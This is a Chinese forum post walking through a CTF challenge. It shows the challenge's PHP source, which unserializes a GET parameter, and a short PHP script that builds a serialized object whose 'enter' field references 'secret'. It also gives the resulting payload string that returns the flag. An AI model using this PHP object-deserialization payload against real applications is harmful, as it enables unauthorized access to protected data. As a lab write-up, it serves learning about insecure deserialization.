本帖最后由 柒月 于 2021-6-10 22:44 编辑  
 
进入题目后发现页面一片空白,所以想到f12看源码,看是否能有所发现。。。 
f12后发现一段php代码 
<?php>
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
    $o = unserialize($pass);
    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$flag;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>
  经过粗略的学习php语言,勉强能看懂代码意思,以下是个人对代码的理解: 
          这段代码的意思定义了一个类函数just4fun,如果以get方式传参,则将变量pass传参获取的值赋值给变量pass,如果能获取当前magic_quotes_gpc的配置选项设置,则删除变量pass中的反斜杠,将变量pass的数据反序列化后赋值给变量o,如果变量o类型里secret和enter的数据和类型都相等就输出变量flag的值。 
 
根据代码写出payload 
<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret;
echo serialize($o);
?>
  
 
得出反序列化数值:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;} 
以get形式传参得出flag。。。 
 
 
 
 |